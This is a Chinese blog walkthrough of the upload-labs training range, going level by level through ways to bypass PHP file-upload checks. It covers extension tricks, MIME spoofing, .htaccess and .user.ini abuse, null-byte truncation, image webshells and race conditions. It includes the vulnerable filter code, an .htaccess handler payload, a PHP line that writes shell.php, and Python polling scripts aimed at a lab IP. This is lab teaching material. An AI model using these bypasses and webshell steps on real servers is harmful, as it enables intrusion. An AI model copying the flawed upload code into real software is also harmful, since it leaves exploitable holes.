php搭建文件上传靶场漏洞

最新推荐文章于 2026-05-19 10:13:19 发布
原创 最新推荐文章于 2026-05-19 10:13:19 发布 · 2.1k 阅读 · 39 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
标签
#php #开发语言 #1024程序员节

PASS 01 前端js绕过 (本pass在客户端使用js对不合法图片进行检查！)

方法一：第一关上传区要求上传一张图片，但是我们需要上传一句话木马到后台，更改一句话木马后缀名为jpg然后利用bp抓包将文件名称改回php

通关页面打开一句话木马的路径发现上传成功，接下来试试蚁剑能不能连接登录，发现不能登陆，尝试把文件名的空格去掉试试，也不行，什么原因呢？原来是一句话木马里的POST必须大写，改成大写之后重试一次，成功连接。
方法二：通过直接上传php发现抓不掉包，但是上传一个jpg却可以抓到包，这说明验证文件的一个类型是在页面前端进行验证，这里右键检查元素找到JS绑定的form表单 ，删除onsubmit后面的代码，上传php文件然后通过蚁剑连接就能连接成功

PASS 02 Content-type绕过 （MIME验证）

如法炮制，上传一个jpg文件接着抓数据包，尝试把它的Content-Type删掉，结果发现文件上传不成功了，说明这个语句起一个jpg身份的作用，那么尝试将这个Content-Type: image/jpeg，改到php文件里然后能不能上传成功呢，上传成功！那么接下来通过蚁剑打开连接即可

知识点：MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型，当该扩展名文件被访问的时候，浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名，以及一些媒体文件打开方式。
媒体类型通常是通过 HTTP 协议，由 Web 服务器告知浏览器的，更准确地说，是通过 Content-Type 来表示的，例如:Content-Type: text/HTML

PASS 03 特殊后缀绕过（php3、phtml绕过黑名单）

首先配置靶场的环境，PHP打开配置文件http-conf添加识别文件php3 php5等，尝试上传一个php文件，发现不许上传很多类型的文件，http-conf是全局配置文件，快速检索ctrl+f搜索Addtype且去除注释重启php服务

通过看源代码，这应该是加入黑名单了，黑名单可以用php2 php3 php5 php7 phtml 等绕过

PHP5文件实际上就是.PHP文件，只不过代码由PHP5引擎解析。

PHP5是一种PHP版本间的区分，该后缀名并不常见，另外还有.PHP2、.PHP3和.PHP4文件。而当前最新的PHP版本为PHP7。

$deny_ext = array('.asp','.aspx','.php','.jsp');

但是它覆盖范围不充分，我们可以利用后缀名为php3进行上传

成功上传！尝试用蚁剑进行连接，发现连接不上，打开php运行模式切换版本，选一个没有nts版本的再次连接，发现上传成功！Non Thread Safe是非线程安全，在执行时不进行线程（Thread）安全检查。 因此，如果是使用ISAPI的方式来运行PHP就必须用ThreadSafe (线程安全)的版本；而用FastCGI模式运行PHP的话就没有必要用线程安全检查了，用None Thread Safe (NTS，非线程安全)的版本能够更好的提高效率。

PASS 04 .htaccess绕过 点加空格点绕过

前置知识 .htaccess 分布式配置文件

.htaccess文件(或者"分布式配置文件"）,全称是Hypertext Access(超文本入口)。htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。通过htaccess文件，可以帮我们实现：网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

    Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的，但是有的主机服务商可能不允许你自定义自己的.htaccess文件。

    启用.htaccess，需要修改httpd.conf，启用AllowOverride，并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名，可以用AccessFileName指令来改变。例如，需要使用.config ，则可以在服务器配置文件中按以下方法配置：AccessFileName .config 。

    笼统地说，.htaccess可以帮我们实现包括：文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表，以及使用其他文件作为index文件等一些功能。

方法一：通过查看源代码发现黑名单禁用了很多文件后缀，通过观察发现他没有禁用htaccess文件，htaccess是一个文件配置文件，但是他的作用非常局部，只影响该目录及其子目录，每个文件都有自己的htaccess文件

AddHandler php5-script .jpg

AddType application/x-httpd-php .jpg

SetHandler application/x-httpd-php


.htaccess AddType appllication/x-httpd-php .jpg .txt

但是发现没有进行成功，反而报错说是解决办法就是检查一下htaccess的前置配置以及配置文件内容

.htaccess文件内容如下

 

  1.  
    <FilesMatch "111.jpg">
     
  2.  
    SetHandler application/x-httpd-php
     
  3.  
    </FilesMatch>
     111.jpg是文件的命名
     



  注意：在php的nts版本下面无法解析4.jpg为php文件 该运行模式为CGI/FastCGI
  nts版本会报500 服务器内部错误

 方法二：将该目录及其子目录的所有文件因均映射为php文件类型，除了这个方法之外，我们尝试观察源代码通过它的逻辑来修改文件后缀到达上传的目的，我们上传php文件并且抓包修改文件后缀名为. .进行上传，他的原理是windows系统会自动去除文件末尾的句号和空格，发现上传成功，接着用蚁剑进行连接，记得把文件最后面的.进行删除，发现连接成功
 

利用PHP 和 Windows环境的叠加特性，以下符号在正则匹配时的相等性：
 

    双引号"     =   点号.
     大于符号>   =   问号?
     小于符号<   =   星号*
 

先上传一个名为4.php:.jpg的文件，上传成功后会生成4.php的空文件，大小为0KB.
 

这一步 我成功了 原理就是在windows环境下 不允许文件命名中含有( \ / : * ? "   < > | )
 

如果有 会自动截断 并生成一个空文件
 

然后将文件名改为4.<或4.<<<或4.>>>或4.>><后再次上传，重写4.php文件内容，Webshell代码就会写入原来的4.php空文件中。再访问4.php
 

经过测试 在php非nts版本下 运行模式为 Apache 2.0 Handler  成功
 

PASS 05 user.ini绕过 点加空格点绕过 大小写绕过
 

因为文件夹里面已经存在一个php文件且 .htaccess文件被列入黑名单，就考虑用user.ini配置文件来更改配置，优势跟.htaccess后门比，适用范围更广，nginx/apache/IIS都有效，而.htaccess只适用于apache
 使用条件：
 (1)服务器脚本语言为PHP
 (2)对应目录下面有可执行的php文件
 (3)服务器使用CGI／FastCGI模式
 

注意：这里要修改php.ini配置文件
 

分号是注释 改成和我一样的即可 
 

 

然后访问readme.php 效果如下 也可以用一句话木马
 

如果在php.ini里面的配置文件中找不到需要修改的代码，将php版本调到高版本之后刷新在进去查找
 

 

img
 

user.ini
 

auto_prepend_file=a.jpg
 

.user.ini文件里的意思是：所有的php文件都自动包含a.jpg文件。.user.ini相当于一个用户自定义的php.ini
 

方法一：在上传目录下存在readme.php的php文件，可以利用 .user.ini 文件 使得运行 readme.php 时 包含上传的图片，相当于readme.php也有Onehorse.php。 在这里插入图片描述
 

上传user.ini Onehorse.jpg，成功上传打开readme.php然后复制路径通过蚁剑上传发现上传成功
 

观察发现可以通过点加空格加点绕过，也发现源代码中没有修改为小写这个处理，同时PHP也可以运行，采用改大小写方式绕过 如果发现有乱码或者是出现无法显示的问题，更换nts或者是非nts，低版本或者是高版本的php试试
 

方法二：
 

 5.php. .绕过（点空格点绕过）
 

代码运行最后得到的后缀为"." 不在黑名单中 然而又用原来的5.php. .来拼接路径 由于windows在
 

文件命名中会删除.和空格 所以最终得到的是5.php 因此绕过了黑名单限制
 

    $file_name = trim($_FILES['upload_file']['name']);
     $img_path = UPLOAD_PATH.'/'.$file_name
 

Pass-06（大小写绕过黑名单）
 

本关禁止上传.htaccess .user.ini
 

阅读代码 我这里只截取了关键部分的代码
 

            $file_name = trim($_FILES['upload_file']['name']);// 首尾去除空格
             $file_name = deldot($file_name);//删除文件名末尾的点
             $file_ext = strrchr($file_name, '.');//截取最后一个点到末尾的字符串（包含.）
             $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
             $file_ext = trim($file_ext); //首尾去空
      
             # 判断是否在黑名单数组中
             if (!in_array($file_ext, $deny_ext)) {
                 $temp_file = $_FILES['upload_file']['tmp_name'];
                  # 拼接../upload/xxx.xxx 并对文件进行重命名 用的是截取的文件后缀名
                 $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
                 if (move_uploaded_file($temp_file, $img_path)) {
                     $is_upload = true;
                 }
 

没有禁止phP 、Php 所以将文件名字大小写就绕过了限制
 

注意：这里php版本选非nts版本的 才能成功,php nts版本会报 http 500 服务器内部错误
 

PASS 07 -空格
 

if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5"," 
        .......
        ,".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
 

利用PHP 和 Windows环境的叠加特性  windows系统自动删除文件名后缀的空格  绕过黑名单,通关观察源代码发现后端检测没有去掉首尾空格，于是上传 Onehorse.php抓包在后缀+空格通过蚁剑连接，连接成功！
 

PASS 08 点空格绕过
 

$file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
 

对与源码分析，不存在去除文件名末尾的点，所以采用点加空格绕过
 

PASS 09 ：：$DATE后缀绕过
 

 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
 

发现没有对字符串：：$DATE处理，故加此后缀进行绕过
 

PASS 10 点空格点绕过 过滤不全
 

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
 

在php非nts版本下  运行模式为 Apache 2.0 Handler ;在php的nts版本中 运行模式为cgi/fastcgi
 

代码运行最后得到的后缀为"." 不在黑名单中 然而又用原来的10.php. .来保存文件 由于windows在
 

文件命名中会自动删除.和空格 所以最终得到的是10.php 因此绕过了黑名单限制
 

使用 deldot() 删除文件名末尾的点
 

 
 
deldot() 函数从末尾向前检测，检测到第一个点后，会继续向前检测，但遇到空格会停下来
 

 

可以构造文件名： Onehorse.php. . 绕过检测
 

PASS 11 (双写php绕过黑名单）
 

str_ireplace() 函数不区分大小写，大小写绕过不适用，因此使用双写绕过,
 

如果文件名含有黑名单里面的字符串 就替换为空
 

但是只替换一次 并没有进行正则匹配或者是循环匹配敏感字符  因此只要双写php即可 因为是从左往右读的 所以替换为空后 还是php,   pphphp、phphpp都可以尝试 
 

img
 

将抓包后缀名改为.pphphp，发现上传成功
 

PASS 12 白名单绕过 00绕过GET型
 

条件： php版本 < 5.3.4
 

00截断的限制条件是PHP<5.3.29，且GPC关闭
 

因为当 magic_quotes_gpc 打开时，所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。magic_quotes_gpc 着重偏向数据库方面，是为了防止sql注入，但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤url中的%00（只要是这种%xx）的形式，webserver会把它当作十六进制处理，然后把16进制的hex自动翻译成ascii码值“NULL”,实现了截断burpsuite中16进制编辑器将空格20改成了00。本质上来说，都是利用0x00是字符串的结束标识符，进行截断处理。只不过GET传参需要url编码成%00而已
 

本关提示：本pass上传路径可控！
 

 
 
strrpos(string,find,start) 函数查找字符串在另一字符串中最后一次出 现的位置（区分大小写）。 substr(string,start,length) 函数返回字符串的一部分*(从start开始 ，长度为 length)
 

 

$ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
 

源码中对后缀进行白名单检测，只允许 jpg ，png，gif
 

但上传的路径可控，这里可以使用 %00截断 ，上传webshell.jpg的一句话木马save_path=../upload/webshell.php%00成功上传后，%00后缀的不会被识别
 

代码漏洞点就在于 用$_GET['save_path']来组成上传的文件路径 而这个get传参是我们可以控制的地方 
 

因此我们考虑用是否能进行截断 例如形成../upload/12.php/截断后面的(xxx.jpg)
 

这样就通过了白名单校验  并且保存成了php文件
 

PASS 13 (白名单绕过 00截断POST型)
 

image.png
 

php的一些函数的底层是C语言，而move_uploaded_file就是其中之一，遇到0x00会截断，0x表示16进制，URL中%00解码成16进制就是0x00。
 

上传路径在$_POST数据中 不需要url编码， 不需要修改hex值那么麻烦 只要在burp里面输入%00 然后进行url解码即可 得到就是0x00，或者是HEX查找70（php）后面的 修改为00即可（在content-disposition附近查找）
 

Pass-14 （文件包含+图片马）
 

image-20240718134235213
 

读取文件头的两字节 将二进制数据转换为ASCII值 进行switch比较 也就是说只验证文件头信息
 

图⽚⽂件头以及解码(16进制)
 

1.JPEG
 

- ⽂件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG ⽂件标识)
 

- ⽂件结束标识 (2 bytes): 0xff, 0xd9 (EOI)
 

2.PNG
 

- ⽂件头标识 (8 bytes)   89 50 4E 47 0D 0A 1A 0A
 

3.GIF
 

- ⽂件头标识 (6 bytes)   47 49 46 38 39(37) 61
 

 GIF89A
 

本关将一句话木马转换为jpg，gif（最简单），png的形式然后利用文件包含漏洞进行加载木马
 ?file=upload/xxx.png或者是?file=./upload/xxx.png
 可以直接用可以用Notepad++打开图片 在图片末尾添加一句话木马
 也可以用代码copy 1.png /b + shell.php shell.png
 也可以打开在文件开头加上文件的前缀
 文件包含就相当于将其他目录的php文件复制粘贴到所在的php文件 减少代码的重复书写
 

PASS 15（文件包含+图片马）
 

让我们上传图片马到服务器，也就是说肯定会检测是不是真的为图片，而不是仅仅检测后缀名，这个时候我们就需要用到GIF89a进行伪造图片
 

https://i-blog.csdnimg.cn/blog_migrate/9a95e51159e7adbbeb6c2499d0cde79e.png
 

所以上图片码，图片码制作比较简单。需要一张真的图片， 需要一个php文件。 然后将图片和php文件组合在一起即可。 准备一张图片和一句话木马： image.png 然后在cmd中执行：
 

copy 1.png /b + shell.php shell.png
 

JPEG (jpg)，文件头：FFD8FF
 

PNG (png)，文件头：89504E47
 

GIF (gif)，文件头：47494638
 

TIFF (tif)，文件头：49492A00
 

Windows Bitmap (bmp)，文件头：424D
 

CAD (dwg)，文件头：41433130
 

Adobe Photoshop (psd)，文件头：38425053 放在一个文件夹里然后在文件夹里打开cmd进行合成，要不然可能会找不到指定文件 注意用文件包含漏洞输入路径的时间不能用输入法 做图片马的时候尽量不要使用复杂且内存大图片，尽量使用小体积的，避免发生错误 我们采用文件包含的模式将这个gif文件包含进代码中，以当作php文件进行执行 注意修改php为较高版本且去掉多线程安全nts
 

Pass-16（文件包含+图片马）
 

 

需要开启php_exif模块。 做法和第14关相同
 

pass 17 (二次渲染)
 

二次渲染说白了就是上传的图片，他会重新创建画布 然后把里面的东西重新渲染一边，如果你的代码在里面也可能被渲染一遍，代码变成图片一部分那就失效了
 方法一：所以需要找到渲染后的图片里面没有发生变化的Hex地方，添加一句话，通过文件包含漏洞执行一句话，使用蚁剑进行连接，可以用010editor查看上传后的图片和未上传的图片中没变的部分，然后在其中进行修改。或者是采用二次渲染过的图片进行插入木马，因为理论上来说二次渲染过的图片不会再渲染
 

方法二：由于他的代码存在逻辑缺陷 是先上传保存的图片 然后再去验证 如果不满足就删除上传的文件。由于代码执行是一步步来的 需要时间 那我们不停的上传文件 就会产生并发 服务器会不停的对每个文件都执行相关的代码，由于他先上传 然后又原封不动的保存我们上传的文件  所以有一瞬间原本的文件存在 如果上传目录和文件名字已知的话 我们就可以通过url访问我们上传的文件，但是一会被删除怎么办？我们在访问上传的php文件就相当于执行了php代码 只要自动写一个木马文件到文件夹就成功了
 

代码如下 插入到png图片中即可
 

<?php fputs(fopen('../upload/shell.php','w'),'<?php phpinfo();?>');?>
 

所以需要一边不停用burp不停地上传 然后另一边不断的访问  访问的文件需要有写的权限 不然还是不行 还好这里靶场
 

访问的py脚本如下 不会脚本的话可以用浏览器插件不停的刷新网页 间隔设置的短一点 0.25秒这种
 

    import requests
      
     url = "http://192.168.114.200/upload-labs-master/include.php?file=upload/17.png"
     while True:
         html = requests.get(url)
         if ('Warning' not in str(html.text)):
             print('ok')
             break
         else:
             print("发包中")
 

然后用burp的Intruder模块不停的发包就行了
 

 

两边同时运行就行了
 

然后查看我们的文件夹 发现有shell.php就成功了
 

Pass-18（条件竞争）
 

和17关一样，也是先上传，再进行验证的，不符合就删除，依旧利用时间差来攻击 直接上传php文件
 

<?php fputs(fopen('../upload/shell18.php','w'),'<?php phpinfo();?>');?>
 

py脚本如下：
 

    import requests
     url = "http://192.168.114.200/upload-labs-master/upload/18.php"
     while True:
         html = requests.get(url)
         if html.status_code == 200:
             print("OK")
             break
         else:
             print("发包中")
 

burp不停地发包
 

最后得到shell18.php
 

Pass-19（条件竞争+白名单+其他漏洞配合）
 

  


upload()函数大致思路如下：
 

    判断文件是否为http post方式上传
     建立文件夹
     白名单验证后缀名
     检查大小
     检查上传文件夹是否存在
     移动临时文件到上传目录
     对文件进行重命名
 

     同样的逻辑缺陷 不过是白名单 上传路径不可控制 所以上传含有木马的白名单文件 配合条件竞争和其他漏洞来实现写入木马  白名单+条件竞争+Apache未知后缀名解析漏洞，上传一个Apache不识别的后缀名 通过条件竞争访问php文件 写入木马成功，这里用19.php.ppt
 

注意Apache未知后缀名解析漏洞适用 php ts 版本
 

py脚本如下
 

    import requests
      
     url = "http://192.168.114.200/upload-labs-master/upload/19.php.ppt"
     while True:
         html = requests.get(url)
         if html.status_code == 200:
             print("OK")
             break
         else:
             print("发包中")
 

burp不断发包，成功访问shell19.php
 

Pass-20（黑名单+上传路径可控）
 

move_uploaded_file会忽略末尾的/.，本关用move_uploaded_file函数执行上传动作，该函数会忽略文件末尾的/.，因此可以在文件名后加/.这两个符号来绕过黑名单的限制。
 

​​​​​​​Pass-21（MIME验证+白名单+上传路径可控）
 

这一关白名单，
 验证过程：
 --> 验证上传路径是否存在
 --> 验证['upload_file']的content-type是否合法（可以抓包修改）
 --> 判断POST参数是否为空定义$file变量（关键：构造数组绕过下一步的判断）
 --> 判断file不是数组则使用explode('.', strtolower($file))对file进行切割，将file变为一个数组
 --> 判断数组最后一个元素是否合法
 --> 数组第一位和$file[count($file) - 1]进行拼接，产生保存文件名file_name
 --> 上传文件
 

上传shell.php和POST参数，抓包，修改content-type，修改POST参数为数组类型，索引[0]为shell.php，索引[2]为jpg|png|gif。
 只要第二个索引不为1，$file[count($file) - 1]就等价于$file[2-1]，值为空
 发包，使用蚁剑连接../upload/shell.php
 

 


                

        

    





  



    

      

        

            

              
                
                  木cooc
                
              
            

            

                关注
              
            

        

        

          
      

      










              

                

              

            
              



	

		

			

				
					
部署Upload-Labs靶场

				
			

			

				

					北冥同学的成长记录笔记
				

				

					06-24
					
					1440
					
				

			

		

		

			
				
upload-labs是一个使用php语言编写的，专门收集渗透测试过程中遇到的各种上传漏洞的靶场，是一个专门用于学习文件上传漏洞攻击和防御的靶场。它提供了一系列模拟文件上传漏洞的实验环境，用于帮助用户了解文件上传漏洞的原理和防御技术。

			
		

	



              


  
              

                


	

		

			

				
					
文件上传漏洞靶场环境搭建测试

				
			

			

				

					san3144393495的博客
				

				

					05-13
					
					513
					
				

			

		

		

			
				
前端一般指的是html，javascript等代码，它的代码过滤写在页面中，这个页面中不分前端后端，举个例子，前端在浏览器看到的源码和文件的源码是一模一样的，比如这个html，所以我们才能复制下来写个文件直接当源码用，而后端 : 例如php文件浏览器显示的源码和文件的源码是不一样的,如下图所示，这个，不建议burp去抓，有可能抓不到数据包，如果上传不成功就不会有数据包，上传成功了才会数据包，如果改一下代码，他也抓不到了，抓到的原因归根到底是代码的问题，他这里是有一个接受的php代码。打开搭建好的测试网站。

			
		

	





	

		

			

				
					
新手必看：用PHPStudy在Windows上快速搭建Pikachu靶场（附File Inclusion通关实战）

					
最新发布

				
			

			

				

					weixin_26642481的博客
				

				

					05-19
					
					150
					
				

			

		

		

			
				
本文详细介绍了如何在Windows系统上使用PHPStudy快速搭建Pikachu靶场，并深入解析文件包含漏洞（File Inclusion）的攻防技巧。通过实战演练，帮助新手掌握本地文件包含（LFI）和远程文件包含（RFI）的利用与防御方法，提升网络安全实践能力。

			
		

	



		

			
		



	

		

			

				
					
upload-labs·文件上传(靶场攻略)

					
热门推荐

				
			

			

				

					duoba_an的博客
				

				

					03-19
					
					1万+
					
				

			

		

		

			
				
文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。“文件上传” 本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。这种攻击方式是最为直接和有效的，所以我们需要思考的是如何绕过检测和过滤。文件上传漏洞成因： 具备上传文件功能的Web等应用，未对用户选择上传的文件进行校验，使得非法                     用户可通过上传可执行脚本而获取应用的控制权限。

			
		

	





	

		

			

				
					
史上最全文件上传靶场(有的关卡写了多种通关方法)

				
			

			

				

					qq_34598847的博客
				

				

					10-24
					
					1658
					
				

			

		

		

			
				
首先把文件后缀改为图片格式,准备进行上传,打开bp进行抓包,点击上传我们在这里修改文件后缀,修改为php,即可,之后我们右键图片,进行打开图片即可看见我们需要的蚁剑也是可以连接的。

			
		

	





	

		

			

				
					
最新upload-labs文件上传漏洞靶场搭建安装，upload-labs Pass01-Pass20 二十关详解，靶场源码详解，upload-labs第一关到第二十关详解，一句话木马详细介绍

				
			

			

				

					2302_80946742的博客
				

				

					04-16
					
					8765
					
				

			

		

		

			
				
在开始打靶场之前，我们先来介绍一下一句话木马。一句话木马（One-liner Trojan 或 Webshell）是一种常见的网络安全攻击工具，通常用于Web服务器的非法控制。它称为“一句话”，因为攻击者只需在目标服务器上的一个可访问的Web页面中植入一小段代码，就可以实现对服务器的远程控制。这种木马通常以PHP、ASP、JSP等服务端脚本语言的形式出现，因为这些语言能够在服务器上执行。一句话木马的代码很简短，但功能却非常强大，能够接收远程命令并在服务器上执行这些命令。?

			
		

	





	

		

			

				
					
PHP文件上传漏洞全攻略：从基础绕过到高级利用（附靶场环境搭建）

				
			

			

				

					weixin_30566063的博客
				

				

					03-27
					
					582
					
				

			

		

		

			
				
本文全面解析PHP文件上传漏洞的攻防技术，从基础绕过到高级利用方法，包括前端验证绕过、MIME类型伪造、.htaccess文件利用等，并详细指导如何搭建靶场环境进行实战演练。特别适合CTF选手和Web安全研究人员提升文件上传漏洞的攻防能力。

			
		

	





	

		

			

				
					
PHP文件上传漏洞实战：如何用一句话木马绕过前端防御（附靶场搭建教程）

				
			

			

				

					weixin_28717969的博客
				

				

					04-10
					
					427
					
				

			

		

		

			
				
本文深入探讨PHP文件上传漏洞的实战技巧，重点介绍如何利用一句话木马绕过前端防御，并提供详细的靶场搭建教程。文章涵盖从基础绕过技术到高级服务端防御突破方案，帮助开发者全面理解文件上传漏洞的攻防策略，提升Web应用安全性。

			
		

	





	

		

			

				
					
DVWA靶场实战：从零搭建到漏洞复现

				
			

			

				

					t1u2v的博客
				

				

					03-06
					
					423
					
				

			

		

		

			
				
本文详细介绍了如何从零开始搭建DVWA靶场环境，并复现SQL注入、XSS跨站脚本、文件上传等核心WEB漏洞。通过phpStudy集成环境配置PHP与MySQL服务，手把手指导部署与调试，帮助网络安全学习者与开发者在一个安全合法的沙盒中深入理解漏洞原理、攻击手法及防御措施，实现从理论到实战的闭环学习。

			
		

	





	

		

			

				
					
Niushop-master靶场漏洞

				
			

			

				

					l258282的博客
				

				

					12-23
					
					632
					
				

			

		

		

			
				
外带原理：将dnslog平台中的特有字段payload带⼊⽬标发起dns请求，通过dns解析将请求后的关键信息组合新的三级域名带出，在dns服务器的dns⽇志中显示出来。该网站还有一处sql注入漏洞，我们可以进入后台系统--设置--数据库管理--SQL执行与导入。使用bp抓取提交信息的请求包，鼠标右键--相关工具--生成CSRF-Poc--复制HTML。后台系统还有一处反射型xss漏洞，点击网站--广告位--添加广告。登录后台系统--设置--基础设置--商城第三方统计代码。返回前端页面，刷新，出现弹窗。

			
		

	





	

		

			

				
					
PHP文件上传漏洞

				
			

			

				

					BrosyveryOK的博客
				

				

					11-28
					
					3109
					
				

			

		

		

			
				
上礼拜一直在搞期中测试和unctf，没啥时间整理，这礼拜继续整理！

			
		

	





	

		

			

				
					
PHP的文件上传漏洞的前因后果

				
			

			

				

					cul1n的博客
				

				

					02-07
					
					1818
					
				

			

		

		

			
				
文件上传是常见的网络服务提供点，我们面对文件上传的时候，其实思路不只是去拿到Webshell，也可以根据其服务提供的特点，尝试去挖掘XSS或者其他方面的漏洞，不失为一种好的选择，本篇文章对文件上传的PHP代码的基础做了详细的介绍，旨在告诉初学者常见的文件上传类型及原理，开发者是如何部署文件上传服务的，以及如何常见的过滤手法是什么，希望这篇文章能够对初学者有所帮助

			
		

	





	

		

			

				
					
文件上传漏洞靶场搭建（upload-labs）

				
			

			

				

					Bluetuan的博客
				

				

					12-29
					
					1678
					
				

			

		

		

			
				
在初步了解文件上传漏洞靶场搭建时发现经常使用uploads-labs作为现成靶场文件，这样一来就会大大降低搭建难度，同时搭建平台比较多，可以利用Linux、Window Sever 2008 R2、Docker等进行搭建，我在这里选择了使用自己电脑的Win11直接进行搭建，并未使用虚拟机。1.下载靶场代码，这是一个为了免去大家环境搭建的烦恼、基于phpstudy这个php集成环境搭建的、直接安装就能使用的靶场代码。4.点击启动即可启动靶场，此时界面可能会提示端口冲突，关闭该端口对应的服务即可。

			
		

	





	

		

			

				
					
文件上传漏洞 思路方法总结

				
			

			

				

					hmysn的博客
				

				

					08-08
					
					2469
					
				

			

		

		

			
				
简单来说就是一种校验机制，当文件进行上传的时候对文件的Content-Type进行校验，如果是白名单中所允许的类型则能够成功上传，如果不是则无法上传。上传文件时，如果服务器端代码未对客户端上传的文件进行严格的验证和过滤，就容易造成可以上传任意文件的情况，包括上传脚本文件（.asp、.aspx 、.php 、 .jsp等格式的文件）文件后缀绕过攻击的原理是虽然服务器端代码中限制了某些后缀的文件上传，但是有些版本的apache是允许解析其他文件后缀的，这个和上面的.htaccess文件类似，可以修改。

			
		

	





	

		

			

				
					
PHP代码审计7—文件上传漏洞

				
			

			

				

					W0ngk，一个安全菜鸡，一直在模仿，尚未有超越。
				

				

					08-01
					
					4305
					
				

			

		

		

			
				
文件上传基础整理与示例分析

			
		

	





	

		

			

				
					
【网络安全 --- 文件上传靶场练习】文件上传靶场安装以及1-5关闯关思路及技巧，源码分析

				
			

			

				

					m0_67844671的博客
				

				

					10-29
					
					1313
					
				

			

		

		

			
				
【网络安全 --- 文件上传靶场练习】文件上传靶场安装以及1-5关闯关思路及技巧，源码分析

			
		

	





	

		

			

				
					
文件上传漏洞（一） upload-labs靶场练习

				
			

			

				

					好好睡觉
				

				

					03-18
					
					6512
					
				

			

		

		

			
				
常见文件上传漏洞类型总结、upload-labs靶场

			
		

	





	

		

			

				
					
文件上传漏洞篇：upload-labs靶场搭建

				
			

			

				

					CL1799438883的博客
				

				

					05-06
					
					1190
					
				

			

		

		

			
				
文件上传漏洞是一种常见的Web安全漏洞，当网站或应用程序允许用户上传文件（如图片、文档等）时，若未对上传的文件进行充分的安全检查，攻击者可能利用此漏洞上传恶意文件（如Web Shell、病毒、木马等），从而获取服务器控制权或破坏系统。5.域名填写upload，端口默认是80，如果冲突了就换其他端口，根目录就是文件所在目录，其他选项默认，点击确认。6.点击管理，点击打开网站，也可以输入127.0.0.1:8099。1.下载文件并解压，为了方便可以重命名为upload。4.点击网站，点击创建网站。

			
		

	





	

		

			

				
					
文件上传漏洞靶场通关教程（全）

				
			

			

				

					jnszstmei的博客
				

				

					07-18
					
					3413
					
				

			

		

		

			
				
upload-labs靶场通关教程，从第一关到第二十一关，包含各种绕过以及图片马、条件竞争、代码审计等，适合文件上传漏洞练习

			
		

	





	

		

			

				
					
Web安全：XSS || 文件上传 靶场搭建 （玩转整个 XSS || 文件上传 环境.）

				
			

			

				

					网络安全领域___专研者.
				

				

					04-24
					
					1498
					
				

			

		

		

			
				
XSS又叫CSS（Cross Site Script）跨站脚本攻击，指的是攻击者在Web页面，插入恶意JS代码，当用户浏览该页之时，嵌入其中JS代码就会被执行，从而达到攻击的目的.（包含：收集用户的Cookie，添加账号，修改密码，提高用户权限等等.）
文件上传漏洞是指 Web 服务器允许用户将文件上传至其文件系统，但这些文件可能并没有经过充分的验证，如文件名称、类型、内容或大小等。未能正确执行这些限制就意味着即使最基本的图像上传功能也可能用于上传任意具有潜在危险的文件，里面甚至包括远程代码执行的服务器端脚

			
		

	



              




          





        



    





    



      

      

        
      

      





	

		评论	
	

  
	




  

    

      添加红包
      
    

    

      

        
        

          
          
        

        
请填写红包祝福语或标题

      

      

        
        

          
          个
        

        
红包个数最小为10个

      

      

        
        

          
          元
        

        
红包金额最低5元

      

      

        
        

          当前余额3.43元
          前往充值 >
        

      

      

        

          需支付：10.00元
        

        
        
      

    

  





  

    
    
  

  

    
    
  








  

    

      

        

          

            
            
成就一亿技术人!

          

          

        

        

          

          

            领取后你会自动成为博主和红包主的粉丝
            规则
          

        

      

      

        

          

            
              
            
            

              
